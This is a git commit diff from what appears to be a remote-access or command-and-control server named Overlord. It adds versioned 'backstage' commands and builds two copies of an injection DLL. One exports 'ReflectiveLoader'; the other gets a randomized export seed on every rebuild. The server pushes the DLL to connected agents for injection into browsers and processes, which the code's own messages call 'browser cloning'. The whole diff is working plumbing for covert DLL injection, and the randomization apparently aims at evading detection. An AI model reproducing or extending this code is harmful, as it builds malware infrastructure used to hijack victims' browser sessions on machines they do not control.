add legacy mode and some cleanup

This commit is contained in:
KingKDot
2026-08-20 09:01:27 -05:00
parent 3b6adf7b97
commit a9b7ca67ea
14 changed files with 257 additions and 100 deletions
@@ -46,6 +46,27 @@ describe("command version negotiation", () => {
});
});
test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => {
const command = "backstage_start_browser_injected" as const;
const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
expect(versionCommandForClient({}, {
type: "command",
commandType: command,
id: "legacy-backstage",
payload,
})).toMatchObject({ commandVersion: 1, payload });
expect(versionCommandForClient({
commandVersions: { [command]: { min: 1, max: 2 } },
}, {
type: "command",
commandType: command,
id: "current-backstage",
payload,
})).toMatchObject({ commandVersion: 2, payload });
});
test("strictly reports missing commands and non-overlapping versions", () => {
expect(getCommandCompatibility(
{ commandVersions: {} },
@@ -377,11 +377,11 @@ export const COMMAND_VERSION_SUPPORT = {
},
"backstage_start_browser_injected": {
"min": 1,
"max": 1
"max": 2
},
"backstage_start_chrome_injected": {
"min": 1,
"max": 1
"max": 2
},
"backstage_start_process": {
"min": 1,
@@ -389,7 +389,7 @@ export const COMMAND_VERSION_SUPPORT = {
},
"backstage_start_process_injected": {
"min": 1,
"max": 1
"max": 2
},
"backstage_stop": {
"min": 1,
+13 -3
View File
@@ -26,12 +26,22 @@ describe("generated wire protocol contract", () => {
});
test("publishes a version range for every command", () => {
const versionedBackstageCommands = new Set([
"backstage_start_browser_injected",
"backstage_start_chrome_injected",
"backstage_start_process_injected",
]);
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
for (const command of COMMAND_TYPES) {
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: 1 });
const isVersioned = versionedBackstageCommands.has(command);
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 });
expect(isSupportedCommandVersion(command, 1)).toBe(true);
expect(isSupportedCommandVersion(command, 2)).toBe(false);
expect(getImplicitCommandVersion(command)).toBe(1);
expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
if (isVersioned) {
expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
} else {
expect(getImplicitCommandVersion(command)).toBe(1);
}
}
});
@@ -0,0 +1,13 @@
import { describe, expect, test } from "bun:test";
import {
BACKSTAGE_DLL_NAME,
BACKSTAGE_LEGACY_DLL_NAME,
injectionDllCandidates,
} from "./backstage-dll-cache";
describe("Backstage DLL command-version artifacts", () => {
test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => {
expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true);
expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
});
});
@@ -5,66 +5,71 @@ import { logger } from "../logger";
import { resolveRuntimeRoot } from "./runtime-paths";
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll";
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
// used so a re-randomized (rebuild) copy survives container restarts and is
// preferred over the image-baked dist-clients copy. Overrideable for unusual
// deployments.
export function backstageDllOutputPath(): string {
export function backstageDllOutputPath(commandVersion = 2): string {
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
if (explicit) return path.resolve(explicit);
return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
if (explicit) {
const resolved = path.resolve(explicit);
return commandVersion === 1
? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME)
: resolved;
}
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
return path.join(ensureDataDir(), "dist-clients", name);
}
function builtinDllCandidates(): string[] {
function builtinDllCandidates(commandVersion: number): string[] {
const runtimeRoot = resolveRuntimeRoot();
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
return [
path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"),
path.resolve(runtimeRoot, "dist-clients", name),
path.resolve(process.cwd(), "dist-clients", name),
path.resolve(import.meta.dir, "../../dist-clients", name),
];
}
export function injectionDllCandidates(): string[] {
export function injectionDllCandidates(commandVersion = 2): string[] {
// Fresh builds land in the data dir first; image-baked dist-clients copies
// are the offline fallback.
return [backstageDllOutputPath(), ...builtinDllCandidates()];
return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)];
}
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCachePath: string | null = null;
let _dllCacheMtimeMs: number = 0;
type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
const dllCache = new Map<number, DllCacheEntry>();
export function invalidateBackstageDll(): void {
_cachedInjectionDll = null;
_dllCachePath = null;
_dllCacheMtimeMs = 0;
dllCache.clear();
}
export function getInjectionDllBytes(): Uint8Array | null {
const candidates = injectionDllCandidates();
export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
const artifactVersion = commandVersion === 1 ? 1 : 2;
const candidates = injectionDllCandidates(artifactVersion);
const cached = dllCache.get(artifactVersion);
if (_dllCachePath) {
if (cached) {
// If a freshly rebuilt DLL exists in the data dir but the cache points at
// an older path, rescan instead of serving stale bytes.
const freshOutput = backstageDllOutputPath();
if (path.resolve(_dllCachePath) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
const freshOutput = backstageDllOutputPath(artifactVersion);
if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
try {
const st = statSync(_dllCachePath);
if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
return _cachedInjectionDll;
const st = statSync(cached.path);
if (st.mtimeMs === cached.mtimeMs) {
return cached.bytes;
}
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
const bytes = new Uint8Array(readFileSync(cached.path));
dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs });
logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`);
return bytes;
} catch {
_dllCachePath = null;
_cachedInjectionDll = null;
dllCache.delete(artifactVersion);
}
} else {
_dllCachePath = null;
_cachedInjectionDll = null;
dllCache.delete(artifactVersion);
}
}
@@ -72,16 +77,15 @@ export function getInjectionDllBytes(): Uint8Array | null {
if (!existsSync(dllPath)) continue;
try {
const st = statSync(dllPath);
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
_dllCachePath = dllPath;
_dllCacheMtimeMs = st.mtimeMs;
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
return _cachedInjectionDll;
const bytes = new Uint8Array(readFileSync(dllPath));
dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs });
logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`);
return bytes;
} catch {
continue;
}
}
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`);
return null;
}
}
@@ -6,6 +6,7 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
import { resolveRuntimeRoot } from "./runtime-paths";
import {
BACKSTAGE_DLL_NAME,
BACKSTAGE_LEGACY_DLL_NAME,
backstageDllOutputPath,
invalidateBackstageDll,
} from "./backstage-dll-cache";
@@ -169,7 +170,8 @@ export async function rebuildBackstageDll(
_building = true;
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
const outPath = backstageDllOutputPath();
const outPath = backstageDllOutputPath(2);
const legacyOutPath = backstageDllOutputPath(1);
const outDir = path.dirname(outPath);
try {
@@ -205,19 +207,8 @@ export async function rebuildBackstageDll(
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
}
Object.assign(fullEnv, env);
const proc = Bun.spawn(
[
"cargo",
"build",
"--release",
"--target",
RUST_TARGET,
"--manifest-path",
path.join(crateDir, "Cargo.toml"),
],
{ env: fullEnv, stdout: "pipe", stderr: "pipe" },
);
delete fullEnv.BACKSTAGE_LOADER_EXPORT;
delete fullEnv.BACKSTAGE_LOADER_SEED;
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
if (!stream) return "";
@@ -234,22 +225,37 @@ export async function rebuildBackstageDll(
return buf;
};
const [stdoutText, stderrText] = await Promise.all([
streamLines(proc.stdout),
streamLines(proc.stderr),
]);
const exitCode = await proc.exited;
if (exitCode !== 0) {
const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`;
throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`);
}
const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll");
if (!fs.existsSync(built)) {
throw new Error(`Expected built DLL not found at ${built}`);
}
fs.copyFileSync(built, outPath);
const buildArtifact = async (loaderEnv: Record<string, string>, destination: string) => {
const proc = Bun.spawn(
[
"cargo",
"build",
"--release",
"--target",
RUST_TARGET,
"--manifest-path",
path.join(crateDir, "Cargo.toml"),
],
{ env: { ...fullEnv, ...loaderEnv }, stdout: "pipe", stderr: "pipe" },
);
const [stdoutText, stderrText] = await Promise.all([
streamLines(proc.stdout),
streamLines(proc.stderr),
]);
const exitCode = await proc.exited;
if (exitCode !== 0) {
const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`;
throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`);
}
if (!fs.existsSync(built)) {
throw new Error(`Expected built DLL not found at ${built}`);
}
fs.copyFileSync(built, destination);
};
await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath);
const exportName = readPeExportName(outPath);
invalidateBackstageDll();
@@ -258,7 +264,7 @@ export async function rebuildBackstageDll(
startedAt: _lastBuild.startedAt,
finishedAt: Date.now(),
ok: true,
message: `DLL rebuilt at ${outPath} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`,
};
send({
type: "output",
@@ -396,4 +402,4 @@ function readU32(bytes: Uint8Array, offset: number): number {
(bytes[offset + 2] << 16) |
(bytes[offset + 3] << 24)
);
}
}
@@ -5,6 +5,8 @@ import { logger } from "../logger";
import { negotiateDesktopCodec } from "./desktop-codec-negotiation";
import { metrics } from "../metrics";
import { encodeMessage } from "../protocol";
import { requireCommandVersion, versionCommandForClient } from "../command-compatibility";
import type { CommandType } from "../generated/wire-contract";
import { getInjectionDllBytes } from "./backstage-dll-cache";
import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
@@ -32,6 +34,19 @@ import {
stopRemoteDesktopRecording,
} from "./rd-recording";
function getVersionedInjectionDll(
target: ClientInfo | undefined,
commandType: CommandType,
): Uint8Array | null {
if (!target) return null;
try {
return getInjectionDllBytes(requireCommandVersion(target, commandType));
} catch (error) {
logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
return null;
}
}
const VIEWER_BACKPRESSURE_BYTES = Math.max(
64 * 1024,
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
@@ -1343,7 +1358,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
sendbackstageCommand(target, "backstage_kill_all", {});
break;
case "backstage_start_process_injected": {
const dllData = getInjectionDllBytes();
const dllData = getVersionedInjectionDll(target, "backstage_start_process_injected");
if (!dllData) {
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
@@ -1361,7 +1376,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
break;
}
case "backstage_start_chrome_injected": {
const dllData = getInjectionDllBytes();
const dllData = getVersionedInjectionDll(target, "backstage_start_chrome_injected");
if (!dllData) {
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
@@ -1377,7 +1392,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
break;
}
case "backstage_start_browser_injected": {
const dllData = getInjectionDllBytes();
const dllData = getVersionedInjectionDll(target, "backstage_start_browser_injected");
if (!dllData) {
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
@@ -1439,7 +1454,13 @@ export function sendbackstageCommand(target: ClientInfo | undefined, commandType
}
try {
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
const command = versionCommandForClient(target, {
type: "command",
commandType: commandType as CommandType,
id: uuidv4(),
payload,
});
target.ws.send(encodeMessage(command));
metrics.recordCommand(commandType);
return true;
} catch (err) {